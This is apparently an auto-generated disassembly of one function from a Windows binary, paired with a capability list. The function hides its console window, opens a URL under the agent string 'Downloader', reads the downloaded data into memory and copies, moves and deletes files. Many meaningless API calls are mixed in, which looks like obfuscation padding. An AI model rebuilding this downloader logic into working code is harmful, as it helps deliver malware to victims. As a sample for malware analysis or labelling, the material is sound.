Function at 0x406370
Capabilities:
Accept command line arguments
Copy file
Create http request
Delete directory
Get disk information
Get file attributes
Get memory capacity
Hide graphical window
Identify system language via api
Inspect load icon resource
Move file
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409460
mov eax, dword fs:[0]
push eax
sub esp, 0x45c
mov eax, dword [0x40f3d4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
push 0
push 0
push 0
push 1
push str.Downloader
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x458], ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
push 0xe2
mov dword [ebp - 0x45c], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], 0xffffffff
test edi, edi
je 0x4068d7
cmp dword [esi + 0x14], 0x10
jb 0x4063fd
mov eax, dword [esi]
jmp 0x4063ff
mov eax, esi
push 0
push 0x80000000
push 0
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov ebx, eax
push 0
mov dword [ebp - 0x450], ebx
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffeb
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
jne 0x40648e
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x392
push 0x372
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x4068d7
push 0x34c
push 0x30d
xor ebx, ebx
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 1
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push str.P
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
lea edx, [ebp - 0x448]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0xfffffffffffffff0
xor edi, edi
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push edi
push 0xd
push 0xa
push edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea eax, [ebp - 0x424]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push str.._i
push str.._Mc5
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.._SMf
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [ebp - 0x424]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push edi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 1
push 0x40b1f4
push str.._5BS
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x450]
lea edx, [ebp - 0x44c]
push edx
push 0x400
lea eax, [ebp - 0x414]
push eax
push ecx
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4066ec
mov eax, dword [ebp - 0x44c]
test eax, eax
je 0x4066ec
add eax, edi
push eax
call sub.mfc100.dll_Ordinal_265
add esp, 4
push 0x40b1e0
mov dword [ebp - 0x448], eax
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x406625
mov edx, dword [ebp - 0x448]
push edi
push ebx
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.hRg
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push str.._Ar
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push str.ff
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push ebx
call sub.mfc100.dll_Ordinal_266
add esp, 4
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x363
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x40b1b8
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov eax, dword [ebp - 0x44c]
mov ebx, dword [ebp - 0x448]
push eax
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebx + edi]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
push 1
push 0x297
push 0x14e
push 0x3de
push 0x37f
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push str.._Tf9
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0xffffffffffffffeb
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0x3dd
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 4
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
add edi, dword [ebp - 0x44c]
lea ecx, [ebp - 0x464]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [ebp - 0x460]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea eax, [ebp - 0x444]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40654a
mov ecx, dword [ebp - 0x450]
push ecx
mov dword [ebp - 0x448], ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea edx, [ebp - 0x424]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp - 0x45c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 1
push str.._07O
push str.._o
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0x32
push 0x48
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x424]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [ebp - 0x458]
push edx
push edi
push ebx
call fcn.004050e0
add esp, 0xc
lea eax, [ebp - 0x438]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x424]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push str.SKr
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
je 0x406890
mov edx, dword [ebp - 0x454]
push edi
push ebx
push edx
mov dword [ebp - 4], 0x26
call fcn.004061d0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
call sub.mfc100.dll_Ordinal_266
add esp, 4
push 0x40b16c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0xffffffffffffffeb
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push str.km
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov al, 1
jmp 0x4068d9
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push ecx
push str.
push edx
call fcn.00404e90
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
push str.._vf
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408422
mov esp, ebp
pop ebp
ret